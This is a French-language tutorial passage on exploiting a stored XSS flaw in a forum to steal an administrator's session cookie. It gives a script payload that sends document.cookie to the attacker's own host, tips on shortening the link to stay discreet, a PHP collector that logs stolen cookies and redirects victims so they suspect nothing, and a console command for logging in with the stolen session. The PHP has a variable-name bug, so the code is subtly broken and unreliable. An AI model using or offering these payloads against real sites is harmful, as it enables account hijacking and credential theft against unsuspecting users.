L'exploitation



Encore un petit peu d'effort et on y est presque :D

Donc on se retrouve avec notre petite faille, c'est cool, mais on en fait quoi après ?

A savoir que la faille XSS permet d'exécuter touts les codes javascript.
Dans le cas d'un forum , on veut récupérer le cookie d'un administrateur.

Un cookie ?

Pas à manger non, si vous êtes ici et que vous ne savez pas ce qu'est un cookie, quittez la page et revenez quand vous saurez !

Non je déconne, pour faire simple c'est un petit fichier texte tout léger stocké qui contient des informations variables de l'utilisateur. Un cookie ( crypté ) a généralement cette forme : e541dZD5g4dfgJIZdgdf5jJ828HD

Oui crypté car généralement c'est le cas.

Revenons en forum, postez comme message ce code :

<script>window.open("http://monsite.fr/xss.php?c="+document.cookie)</script>



Réduisez l'url afin que ça reste plus discret !

Quand l'utilisateur ( ou admin ) cliquera sur votre sujet, vous volerez ses cookies, il sera redirigé vers votre site.

Mais que mettre dans xss.php ?

<?php
$cookie = $_GET["c"]; // on reconnaît c en variable GET
if($cookie)
{
 $fp = fopen("cookies.txt","a"); // On ouvre cookies.txt en edition
( ou bien il sera créer ) 
 fputs($fp,$cook . "\r\n"); // On écrit le contenu du cookie sur une
nouvelle ligne
 fclose($fp); // On ferme le fichier cookies.txt
 /* En dessous on fait un script en js pour le rediriger afin qu'il ne se doute de rien */
}
?>
<script>
location.replace("http://www.google.fr");
</script>




Nous avons enfin récupéré le cookie dans le fichier .txt du code ci-dessus!

S'il n'est pas crypté, bah tout est clair, les variables sessid et pass sont clairement affichés.
S'il est crypté, c'est pas grave :)

Ouvrez la console JS depuis le site et mettez :
alert(document.cookie="sessid=ze541dfgfd5g4dfgdg1df2gffdgdf5g4dfg;pass=sdf4564sdfdf2");



Et vous voilà connecté avec les pass de quelqu'un d'autre :D